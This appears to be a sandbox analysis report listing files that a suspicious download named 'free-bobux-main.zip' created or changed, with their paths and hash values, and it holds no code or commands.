SHA512 74431d809110c659a241baeaa9c9fa5f804f36f20c20f19ea70c7b060133fa12561466995340b90d2a49cead9e70fdbfb425a053b4ee3e4a956dfceafbf81823

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 3f8955bbb0d4236547485cade0c2153c
SHA1 81355c95ee925a11fba79001367b7bda5b2f823e
SHA256 3ac525ab26f2378b2de11f3ff029cb44cf16cef633d0644d6a4d40bd72dca67d
SHA512 f074423fe68f31d9f365905d708f3f15a6f54088eed710bc059e38d7dc6d4379b5ab979bc48cf38f8b15586dde734dbebc4f081c982e9ee9fbcf6ae69dc79d17

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 6900baebc8d5d62d20cbaaf0b67f5357
SHA1 edc5b8b8d8320d5718ee3f41f7a740b10c5ed5cc
SHA256 ee366a270d388f8c16991fd2caf51d3eab9622e94a558c422fa7b8bd9d0ef9ae
SHA512 a535091f87eb2cbde024e096d1068a9de1c45aa38cbcc0a7600d5799e123ecedf28edc439bdf375e5a86352ade96406c76fe750dea183393eb56961651f7b400

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 fe97676472ca7cb74a65282b95b0c7e5
SHA1 832e2a5fe74c06dbc2574446a85fda97b9f0f500
SHA256 4523fdea8ea87e7ef294d3f6d30e6ed1e416e5bf0020e1c2d366ca032120762e
SHA512 f1ea957c18265228c51521607d1f9c308f6ddc0b715e3a78acbe08cabd52b143c513e7d5b0ffcf960b88f0382601ecda18b8cd7b27c5714713c395592506b4df

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 1acea33474c48f21ed17c792ee294ea6
SHA1 626ad2c2d190383a36da675a5c04ce50fda11834
SHA256 24927f7c58279936e4012ffbc795184cf3bf6cffb2aedaa9de6bc4f6b1dcd394
SHA512 88243b04eb781be3366cdf9a23a51fae11c49142d4ee1ccb9f9ca443e4abfd2ad7a17ffffb3dc8329921f9af81bbca317e368abf1e2b5cb88489c7fec55eabce

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1565669259\manifest.json

MD5 2648d437c53db54b3ebd00e64852687e
SHA1 66cfe157f4c8e17bfda15325abfef40ec6d49608
SHA256 68a3d7cb10f3001f40bc583b7fff0183895a61d3bd1b7a1c34e602df6f0f8806
SHA512 86d5c3129bec156b17b8ebd5dec5a6258e10cb426b84dd3e4af85c9c2cd7ebf4faea01fd10dd906a18ea1042394c3f41a835eae2d83dc8146dfe4b6d71147828

C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_0000ae

MD5 87e8230a9ca3f0c5ccfa56f70276e2f2
SHA1 eb116c8fd20cb2f85b7a942c7dae3b0ed6d27fe7
SHA256 e18d7214e7d3d47d913c0436f5308b9296ca3c6cd34059bf9cbf03126bafafe9
SHA512 37690a81a9e48b157298080746aa94289a4c721c762b826329e70b41ba475bb0261d048f9ab8e7301e43305c5ebf53246c20da8cd001130bf156e8b3bd38b9b8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 e9df5a9cd5536e668cbccc21cc45c087
SHA1 8b1e9928c37a72907ef7d8795357297eb72aabb0
SHA256 38ad67752306edfb04b7b80dae6280920f628a6ca1059f017b838cc36724c954
SHA512 ee8ec37abd3e4ca1bc3e591778bbcc139772cd173427707cd81948825d229d4c0766d379dbc805e53d1de40df527367588f071c7474b44b0a346f1f420c84d18

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 977c23a9c6f4e9571250179445a749d8
SHA1 1d2115df47d74a21e4c223f39b006e2bf61fa7ad
SHA256 b1d839ec5d09fb24e655bbf12894582e44381398f093538527f804dccc77af57
SHA512 468dceddf9d8eeadd3d0f2402492f343d06d47168d487bcf60e4e1abc48f19b0bde1a3dc8b9d6643cfba0b1e67d8c39cbc932b97db8a60ac95c2f3378b8b015e

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Service Worker\ScriptCache\d0757ff92c7cde0a_0

MD5 86fda5f6e203706dd78adb8531f14c6c
SHA1 f3072853b4da44af82db29254b9c805c7454731f
SHA256 52813d12ed9d19d82febee10a7a2c90f0fbea6c6e473e46d62c7f105ad89786d
SHA512 3dfdb7b12b379b8740bd1b603cc541093f895a36be908f11c94ddebbb13871f8f18892910de7f6289dcd5c0b1f6030db92623ffd165f817704359e9ed098610c

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\IndexedDB\chrome-extension_gbohaofhodnpniflcnancekmknlomeck_0.indexeddb.leveldb\LOG

MD5 149265c14fffd764a5d233e064720bef
SHA1 a6ab935ec03704cb2d1319a38270618a074ccbaa
SHA256 93e9f6fa3b87fea22cdd417f42ec17e285f766e969cf390ac263a92b0cb447a9
SHA512 33acb982125ac5e89f9e26dbde697e1ad224b4dad658c63b5b96f328c8d51420c46e1f03c38a88b8907934e39aa756bec48fcee114e008ed264f6f46830b627a

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 d40d291ed831172610e7fd824f704a6f
SHA1 25c323c78487064f8ef00e162b67330c331b3789
SHA256 7afb12fe1d6f115281895313059722a5b87208bff3531e22ede1ee34dd89915d
SHA512 8f2fc14157d7623feb6afa1a8d5df30737f104f11f3fae90338f5e23b9494ff6006daa57204fdafa849d68dc0824647c6cb8a562e55e700e8f3360d3df065394

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_2012164352\manifest.json

MD5 b5dabcb6b1744da449b7ee8f85258f7f
SHA1 6602da5eb5d1e64644f5427f210ce1e57544bfbd
SHA256 082775d5ea6bacc6bee71f31a68e966b4a7cf8d39adc681894b0e1f89bfbb47b
SHA512 f89296d1dd2f6acffc102c45e1d51516937f4c143eb642cdf6c79d35b121a1c712063f56fdb6636765882246fadacd67cae71131831346f7b5770952070d76a9

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\FileTypePolicies\66\download_file_types.pb

MD5 b486a2d22e22545b4d7ce820c38245ca
SHA1 3be7e3d4e07c581b9638a73a062809fb1f535ca8
SHA256 2f490c4adc51b58604c99546925f091dbda66ce6e54a0ea5b75e675d1fbe019c
SHA512 5c47112085670e0726401d436984accf4ab21c23fd785f0031997b786238618a163cd194749b8f625c3ab18d211f31711cc904c3164671bbc9347550c3b72ace

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 b92f8c505c14e0555f649b1b4bca74f0
SHA1 f81f8bef222fea53dcab2b97c60eeb57b8d6d369
SHA256 24305599050756f97da817e4a90f1bce03675566625726c34151afd4a9beb9ba
SHA512 343d3b4826301d43e4601ebe281ea36130b38e6793738752888a2f710a494da3b07f3002291b7236d5fabc573fc442ff2a47485a406f4acb1d3f1274b861a040

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 2330731dbb89bc38be5096fc2e83a2ce
SHA1 37c2b3ccdbe866896052e57193a31a43d34c106e
SHA256 b069bac5f87ca08a1aacafceb1338b7295099153972e1602aae97db75807ec8d
SHA512 d6bafe5e2ed83cba58cdaaf1f303f919aa93dc1c25139b20078697d2347654dcfa810fc2a4f1d5ee4ab3be89966b95972db1d5956c204fa815833e85a0114f40

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 6e4faf0ef5008b1e7ddc1e65bdfe48bd
SHA1 f9c0e0bf8c63618f2a0219637e9659d3b73f15eb
SHA256 0d9c698e13772e8caf331f909c82e672b736ab46d4a7985da8549fa06c06d594
SHA512 42dd267783c5b9473677729742d9b076d0f4c4d25bba54637f07ad80e1a7e09c0dda717f1e649c1951f38aca20a22a9379c063161deafb84f4caf27e8d3278bf

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 14c8ee6657d5bad66abab093d09087ae
SHA1 dc3ba4ec7ae05072a8a08076bf66536d80267714
SHA256 15fd5349f28c3e0afc0776f22772d0458495cc777026eb89a1843334148d60e4
SHA512 70189175b048e24456617f800085a90527be880d81f6ce545568b16cdc9f7e5496996fbe8f1b912364e1ffe32f29330cec61f27767eef4e2d2394cc70c29f9a6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 cf9716eda925597b5995d3ad959e2f61
SHA1 31d4a3c378a2058dd7794ae7a498a91ef12be13a
SHA256 ef47fe78858d50b28a6d636938f2a431bb8c1a85cbb07687e386fdfbc91be910
SHA512 a97af0b7a14438b22c99295a5edd27f723ffb28c06c6724634bb3ab3fad9bce449c2ab978e6dbe582ed0d8cc00ba8a63f27c079abd8afcf390826f704a39e910

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 d42dd235e52004cfd4e5805428d9486c
SHA1 2de7b7fb7fc2755a83672fb827cfd6123e66a9aa
SHA256 b6eb23147fa00a8fa1bc41a870459fd72fd64373291e3f24444db52a48ddc994
SHA512 50cc99d097dc7fbac194942876d62fd1f6bed538f9d2d3513c10cf49da22b2cfd3497b6c6e42af9c5c488bee44fed41112bfc30f7f694ec854c9c1398a473865

C:\Users\Admin\Downloads\free-bobux-main.zip

MD5 6238605d9b602a6cb44a53d6dc7ca40e
SHA1 429f7366136296dc67b41e05f9877ed762c54b73
SHA256 e315b421cb9bc6ae65fdeea180f5b12d2c4cf4117bf5872381bb20a1b28dbff9
SHA512 a8c5923c2e203cc2076030af51e4aa25f4c94b595a7f7d15c00c1c4e0eb91ae7734db9c3d59584642d18f5d63a8aecfadb06803a990ec51b668d3d93a079b1a7

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 fe27b9fefda1c0c7fc309ac904abe515
SHA1 285c9cbb5faeec620bafa6757bc085a9b1cde84c
SHA256 7e9ddcb6ecf58079db1de24a38c162b9095fbb493644027d67a5e01be906b101
SHA512 ea911c996986cbde466bd86370ece390badf80abcefee7be799fc437a71342b0279657f5891467c1df8116438424f5129f09c3b5e1727f8de65bb42c846bd2d8

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1093822576\manifest.json

MD5 4c30f6704085b87b66dce75a22809259
SHA1 8953ee0f49416c23caa82cdd0acdacc750d1d713
SHA256 0152e17e94788e5c3ff124f2906d1d95dc6f8b894cc27ec114b0e73bf6da54f9
SHA512 51e2101bcad1cb1820c98b93a0fb860e4c46172ca2f4e6627520eb066692b3957c0d979894e6e0190877b8ae3c97cb041782bf5d8d0bb0bf2814d8c9bb7c37f3

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Subresource Filter\Unindexed Rules\9.49.1\Filtering Rules

MD5 6274a7426421914c19502cbe0fe28ca0
SHA1 e4d1c702ca1b5497a3abcdd9495a5d0758f19ffc
SHA256 ae2fd01d2908591e0f39343a5b4a78baa8e7d6cac9d78ba79c502fe0a15ce3ee
SHA512 bf1287f502013308cdd906f6e42998c422ef1e272b348e66122dc4a4e471d01333b418f48d1bb2198c72845bdc950612597e179e612aaa1ba6cf8d48fb8f0cf5

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 51f531d8d973ebee8021b440837231e7
SHA1 8853643a566960a7eb139e4b0a4c96369b67b347
SHA256 12235b2f5899f554a7d86df6d88541b4bf7a376cb5ececb3c05ebe181f575076
SHA512 56722d624982a2aab71003dd8b217972990c5ec73a90a86adb8962ebbed01b303f01154d9f10455abd9045750c41b5d2efb61f4013d53a0b986923b6d4880e86

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 38d3329ddcdcc6fb5c9c6c124c6a228b
SHA1 40993e73d0b0ef53a894fadf8b00876bc6241cd2
SHA256 6351f3cfdd0e15b877372a2b8d8e8e60a07a79adb9de6b4eb8f43512715299cd
SHA512 64dbe7d380c4dfb2c49b7d660bc426cf8d8befd353e46e84f7d68733480b40a58b193674ecf52d7f17ac43e29fdc085b7e9aced8840da9b91ec7ab15dcd18bf9

memory/7836-6409-0x0000025C75A50000-0x0000025C75A72000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0mkqwdgb.hem.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 f81db7d49b2f46a473d10a9a425a0edd
SHA1 bdc3cbdd22c864d729fe21fac8a154ec910f68d8
SHA256 7e70194e4284c39bab21d983e70bdc0e735c33fff0574758b2e7d976f631674f
SHA512 38012e2352d8d8f9cbd8d0c66be204181c462d9c1968140f08f28378da6d3033269fd3c596be03bd9b82a98b21267d6c09797fe3832e164e88d55a00f0a4365e

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Service Worker\ScriptCache\d0757ff92c7cde0a_1

MD5 b5ba569eb167b38fff2b6ee1720ce10d
SHA1 a7767f4173e86314f367563f26f33ab8697a9fb8
SHA256 f0e693eb22818a690202c757458fe7aa15fd6bcbd64a05ce0ee60cda550a2deb
SHA512 8ab29328337776c3447ee6c14c59e4b7a2a39f9a06de44c3a64d84d847ed798dc82aac6c3299e35ee6037a2f77444e662139429d631ffffa02ed84c6d2663a76

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Service Worker\ScriptCache\fa813c9ad67834ac_0

MD5 5a186de3cd1aafb9941a0eeae887cd3e
SHA1 daa9c1ce1b967ffab43c663073bb9205b7930c65
SHA256 06192ff1c2be03d00aff4de6a4e3af56604e0740860fbfb31ab819c54ae770d4
SHA512 5e6d1a3a36becbc3ced2ab3f114383848feeb345656c427dcd7f2d442e8d2884c1e861cc6c8fe4e951cbb143b52934cd6f1d5262b29a6030627c027456d1219c

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\IndexedDB\chrome-extension_gbohaofhodnpniflcnancekmknlomeck_0.indexeddb.leveldb\LOG

MD5 d3abe7a980f6a073e6d4dda579a0a81a
SHA1 666668bc038f8d5ccb5af975801c555697c29cf7
SHA256 4260af31fa958c1ab5d64c96b29543ea9343cbe3b5f6c1336362d990f9ca76bf
SHA512 30c2f24a44ceb3764f7905ed07167ecc2bdb9623541e3829128dbfd99b577508fb5dd03cc9fcf39547c30a68124b9225faf86f8893dc7bd4da6001ee2b81b6c9

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Cache\Cache_Data\f_000077

MD5 c2935832073d69b70a3369efbd1490c1
SHA1 9c008bc89c0b6d50c89c6246e2061b58a9242f19
SHA256 aece29ef481c87f8fa1b6f0042637f0a8d721e0805004df23c13a96c3f1a214d
SHA512 e1f0e4b05f92e44beb4e7b3a39a113836cd1b8064658c41ae24a2d0f43df61334d0f4659fc48152c426cd1cbebccb6372328d440867e11fe4a047a2d3ac9b5f7

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_406834371\manifest.json

MD5 b636113d6db02fa03e13e1a7a6fa379e
SHA1 99794589e829569ec12ec7276ae3831822b2e0c4
SHA256 ea09b409ccc891e18e778db71afd8d3fcbfbc5a3d100f605f5778c32a27c5be5
SHA512 662c1a5c319b62813cde6ac118d1c19a2ae67aa9ef80eeebcf999722a05090b7fc4caab5b34e678041b2e1cf0fbc823d43fd943646af59e4c4a5afff9a0a26b9

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 9f426f4c352e7bf305d0c6e924c2d6a0
SHA1 13d26a6b747afb21bcda55379b1ec35646a00326
SHA256 92d308bd007da73c7c7f62e302587749bc3792c81c015fcf03d492f50ee5128a
SHA512 4612821274e0a0fa7b45d3b36a41338a28c22f140821ad75bb89e74ca5bdf1adb5aa8e34a03de53c126c6704441f80b63d2c0b6346c6132ae2c6b5a89610b823

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

MD5 830cef61647f516f11a80a41e1bbb949
SHA1 4f1c35d349749d72f56f3f94afbb74bd2acf2b99
SHA256 bfec9730aa976d423578b223f3c7f151a2dafba8b514f0fb4d0fc9a4b02e1007
SHA512 3b432c0c63694db2cb77bd2313d7da0677e9fa74ca13b749adc53b164dcfb49caae69d9897707c1f6a52ca5aa914de5fb4342bb2746a248f0ef5a2ae1786ada8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 f7f50e2d689b40a8e104ffc6fdae3b35
SHA1 6b01bc5fa5c9317892ddafd565d3b2dce8d7b088
SHA256 e1564985b590b1550b04ba61c05d3be08f2c20f7235fb0504a20912d529a6d31
SHA512 4616fb6aef396d9eeb07b685ad37cde9d8654e5cf54e936a37a4b5a10363ed5ed7f64f9f651e5d55dabb98243d097f49e918f379b9f15537cb4b9efe3781c8df

C:\Users\Admin\AppData\Local\Temp\TCDCD4.tmp\gb.xsl

MD5 51d32ee5bc7ab811041f799652d26e04
SHA1 412193006aa3ef19e0a57e16acf86b830993024a
SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA512 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1382163090\manifest.json

MD5 4aaa0ed8099ecc1da778a9bc39393808
SHA1 0e4a733a5af337f101cfa6bea5ebc153380f7b05
SHA256 20b91160e2611d3159ad82857323febc906457756678ab73f305c3a1e399d18d
SHA512 dfa942c35e1e5f62dd8840c97693cdbfd6d71a1fd2f42e26cb75b98bb6a1818395ecdf552d46f07dff1e9c74f1493a39e05b14e3409963eff1ada88897152879

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\SSLErrorAssistant\7\ssl_error_assistant.pb

MD5 e2f792c9e2dd86f39e8286b2ead2fc70
SHA1 8a32867614d2a23e473ed642056ded8e566687f9
SHA256 ac354a4723aaa4f06bec385ddde4a4d0983ad51456f52b31a8068ec97d5b5ea7
SHA512 6a7af0ca1efa65a89a9ca3b8df0d2e24f21d91673c60cdfeeb02d33647442b01d535497249542f40e66e0d2dd3e9f8ed1f4a201fd97138d07a2b71366737e580

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\IndexedDB\chrome-extension_gbohaofhodnpniflcnancekmknlomeck_0.indexeddb.leveldb\LOG

MD5 3d3bbdb9c652b76bd625460cc567989a
SHA1 1e248689b223042a4d679a7c56b7a9dfeb679163
SHA256 8168cff651f225dd478b973bfd79d2fe1225698afd95beeeb0328df86e5d4b0c
SHA512 102e6ee6291d5b29cff6f53c172e122690bc5d361edc64f73887b30cc5f7f674064b292826774488f9a1d93b85be57a08c05f6f5ddbaf6bb84328ffab70a494c

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_574334522\manifest.json

MD5 9677efe7389a14f5676148c0ca4b62d3
SHA1 316102744e5a238766e5096f5fdae77f022e45e0
SHA256 c96ea76874c1b718bf8a2de741825bf1ac21c34c5f45b21da7189f0bc30f305f
SHA512 7c0e2731d9b4322945a4e68a5e0d5560e2f36e9306810c5ef41de35ad3cc64e2ae2a1f14b2e67dabece4ff4794238b003690e07b90fa16979641d442430d46a6

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\TrustTokenKeyCommitments\2024.8.24.2\keys.json

MD5 1c8d5655296ca6acc10fe90c703a332c
SHA1 9d2ded083659adf7f823f4e9b2ed4b4f51157b04
SHA256 1ed24e42ac999f626cba4b6f369725452fb008cb9cc8e8b84bfe5e7670d49a68
SHA512 a463e0d6927a602a76f5b1debfb93c3f92b8d1d7a01dd48a030f33aa179ca807c974260769c815814443ba0588014d01e20b7e4746192ad25efd71aab89fb541

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 dd30ad3fed2e29034fa3ec7967d05b33
SHA1 aeca0874480c25e1a4198a39ec261f82e313d2e2
SHA256 f0698765bfc2feddc8fa6b047a851bb0e3c6e2f7ab17be3a0e5e74b26ab51cb8
SHA512 2bce64a681a79aba6e1ea27c7dce13f896dae466ec4847df695cd0d366cdc1823058187be1029dcaf17083bd0356bb2fa55f5db44f9dacfaf0be83b1ed881de8

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1146861895\manifest.json

MD5 dcd3d4c4caa09f6ccb30b6e340a56c03
SHA1 42ea0d99025a2c65ee2f178a2a14f1904aea64db
SHA256 81c17f5f204247b35bfe4f50628d6535d1576f107f5d7b0985c1f417f6dabbd9
SHA512 e7f0a631e11bd1e1798f0c8f99d59958372b527a40359143b46b6c462d88e42219f3d101c84ecb29a6e6c2f6060ba98f1cac98e08726380e5dcf91670f6b738d

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\PrivacySandboxAttestationsPreloaded\2024.8.23.0\privacy-sandbox-attestations.dat

MD5 0a213e2cec0c432427311ad81a43066c
SHA1 98e0423ad20d04e4f597dc7057330480ccfd6bf4
SHA256 66d29ce2059cadcb876aa347bbc9826851dbfe23d0950910636637002406ce10
SHA512 0515108f30242ee8b358e301ca4a4a1b9d62f3da0f7945e40cde191038e572baa43503d2da5a200a1b6890448c48037995a1f872a53d1558d383180fe6f3d1b1

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\Network Persistent State

MD5 33c2d604476e586fc967724cd322c8f2
SHA1 9c352ff821e75857ea6b79cb096eefc248373ff7
SHA256 56aae24cd2a1034cdb4a805d382bfd91dca93e667d9f457047a3f5befbe7881e
SHA512 6da14bdf261d3ab47681b3d530c22a8c374aae18587bb90db4efb1f9b683df7ed65db29f3c4744669f2b2f5875a68b14fc68caafb09a0dadd81e566523ac17d4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5a994fe24b451732_0

MD5 604aef2637c52b1bfa96a42d9d110e96
SHA1 4bc1dad780146aa99898da6f9411486167c492c7
SHA256 106681143bbb2a745666ec9b5558ae881a03e3ccdc597affc099abe85ba1491a
SHA512 3a3b6ce822833ed5991bed2df3e74b79bd585806528ec9d026aa1a188c574b8ca79c1d2f25ecd37cbce4ec10fd26c02b245503432d4c206841234dd139af1c38

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\0bbe00d9bf7b798e_0

MD5 84d1f7b84fbf67156281299a494bc231
SHA1 5eb5440381725dbc05a5792e6f3f22a9b00fb183
SHA256 2ab7ca212097c0fa2f356267b2afbf5cc05128853d4964bb3807c6e764ed170b
SHA512 17ba552100c7fd0d39c06c1dc875a6cdf7a3c8988b13b67484a3f27ffec9c9f2ad0a73402aaf83670fc19409a3741d6872270978057b42bd226ecd5e0d36c58f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3f02c4494b1a18ff_0

MD5 23dcb441a9afd300e2c50cb8b0c35c64
SHA1 466e3cff594c60f5bf9d42704935675b0feebe89
SHA256 af0e639b9de78d5b3a5f34c253efa4ab66b38337a760274e4e6b4aef9caf273a
SHA512 991b225a05b7f74c1576262f41ff4518dba2237e23b2540231b901267e15f907e501d8bfb15ad4730d22bc02340615c80bbdd92dd0a5a9e8443347236de9e9fe

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8ee73a31bd0cce7d_0

MD5 85a2ef72375af8ba80545ac46a371623
SHA1 1e2cffacb0ede0839eab39269a2f979469a69df3
SHA256 fd2efd4af43f073e7663be02a56a02b637c5380a84888444cf6852ae7015c2bd
SHA512 5d1fd668e81f4d59bf88d1388c8204ee39118e3472b8eb95c8f6deefbc813fdb68c9a6b57790cba53b39d11a0ff4407c5b5974fa811c7540596b6189ee174c37

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\e504183595893c5c_0

MD5 383d4a4d969899f105fc959a5db2dc3e
SHA1 71af2f766aeab842456916617fc1908cd3cbf473
SHA256 1b2c1ab307d83b657914bf4f342f6d72069256c9329d6349a24559d20bf196bc
SHA512 2ecee24b43bbd8227abcff2a72e93afb6a300b96a1c429102279c5d3302346d56ab2ee24517c9176306a1df0ba5c08d3d79e475378f43513f326a9dc2b7ceec9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\06450eb6a7b09545_0

MD5 09542c3e1e3c9dc649dcfeaa6c4b3b3a
SHA1 2c48bbbb311f376e4eeb3ffa1381966924465cfd
SHA256 7b13b89dbae2a42f5787614149d89d3de3d803465241afbf6c728ef2dfdeed11
SHA512 791a79fcbb9deec8dd81e254d9f3cf6db9175613131e44cd27e7f09cd036d30b61033385223514aa0de4d9524254216a8446f7adf59ec0ff483ab22c93ec3e30

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\e55f0a6d1b533c66_0

MD5 b33f2d6ab33ebcc064b0c7616a5a3cac
SHA1 6bf6bc55bbcc34aea502790cfc1d909f98d441cf
SHA256 7fb6e63f9088695e6d012beef7d95cf6e25eff8cda86e9bcfb9c83da80c285d9
SHA512 1a1dc5f28c6d365cfd9ea1c4c9629f5d08fe63e14d56a648fc1512a5715b161ba7ccd7daa86bc58e9f0efd54eed121a45299bf083ba4ec5bb0ce830758840d6b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\1ba208775fb5fe09_0

MD5 367942d1a3ce82b62e28baf28bb00ad8
SHA1 7ca0b10f32e85eebd23f290adb6c7c2bacb71190
SHA256 533fdc92b65480cde8d138936cdfb19fa770066ceefe43b58c119794601cf01f
SHA512 c1b520a462e4577e636cc2079eb799af8269f1b308310f2d018544c393b9748ff7699a5319351ad4126f720fb9440f79f5c220b7e911405b506a82bc7ab2195c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\e8f6640eef188435_0

MD5 a6349cc1ac7acc98d4bba79779eb3b33
SHA1 08e2c3fc6e837bc1d19e59f766460da185a43338
SHA256 ab390788118776329019b5585f9449fba6e2d9d9d044d580363789c4e9349917
SHA512 e175109434952a805189e6bea126e650ab99e1e935db741e87cdfcb7aefd81d745c2b6951829f24be9604d6ad1a5e445914dd7d12441bd94efeeac9558ef7503

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6d3b0ad57bdf7db9_0

MD5 1c141a3dc58655440da20e4f3da91279
SHA1 deb7ce796ce91c7cc23113004d53b8d939d33bbf
SHA256 432b49bb9c711fceea1e8ce81e6ed498e3c69e7d63f2bc339832f700b0620406
SHA512 c2ee109720d184f3096dedddff7831587ace7a360a7d64722f5c4b05f1757b9eb140853ec0c2c7f695864b0b574ca4deef9283d57a72ed401d5952622f507cde

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\manifest.json

MD5 05c5976d715ddd3cd7c7cfb35ed3ef25
SHA1 814895d5d1b3e221dd20fc175aac0214ada6f83f
SHA256 a5f3d847ebeea9c9e21bc1640672ba84c0f15f0010758a50e384780f337eb119
SHA512 3951a45638e6f615eb022dd65b5e00fe5d4d77b79c18fc4cc5714a59053125b3b14ec7655b3405193ae27a035f2b3dc9e98bb76d7da6fba1266549ec709506fd

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 ffd22f0635fe6e822245e3aa50cee795
SHA1 4e4a3277a9fdb535be9236c38b312c9872c272a4
SHA256 d9d95b4f1565116c695a712a28c020c7b1df2288735cb418f6ce36ced2f12efe
SHA512 7992f184d68572e65396a876ba42d4b4afe75a9d7690e2c7a5accab4b7804bcf6b2e380f285295fdb6cd13f4bd8cba41903586f8ec1b0b74619077d8ac4dc68d

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Local State

MD5 934b30c92a6dbd6678d91f62d20f8827
SHA1 7791675ec9fca266f25868d1c2b5b5b6ee7047a0
SHA256 ef663f5ec22f2d241b9e9f16ab6287909ba83de5ce1849fb2cd0154b474855c3
SHA512 68e3647d61df27326acce99731f4f41f20af673574dc842f08800fcbe693e642ab95bd93f036fddc60bdb940e4c56cad126c8f13b91554f58069da66c7befa1c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 99b4aef1d02c405e6d16e9893d01c3b1
SHA1 2ee900a71bf9fcd4912e865fb217fc13aecd2bda
SHA256 7e930d7d0dbcef79a85493f0f4a2366eb3ebd7add3b1ad44e39b71bc6af83d35
SHA512 4a1ec6936e7d4d99a75ccdff6899f7b150244abdde6eb3288674ff874b100ff7afd7bc5147df05a75915321adff629ecb85213651f0d1ba55fce86da7dcb20e8

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_361160231\LICENSE

MD5 ee002cb9e51bb8dfa89640a406a1090a
SHA1 49ee3ad535947d8821ffdeb67ffc9bc37d1ebbb2
SHA256 3dbd2c90050b652d63656481c3e5871c52261575292db77d4ea63419f187a55b
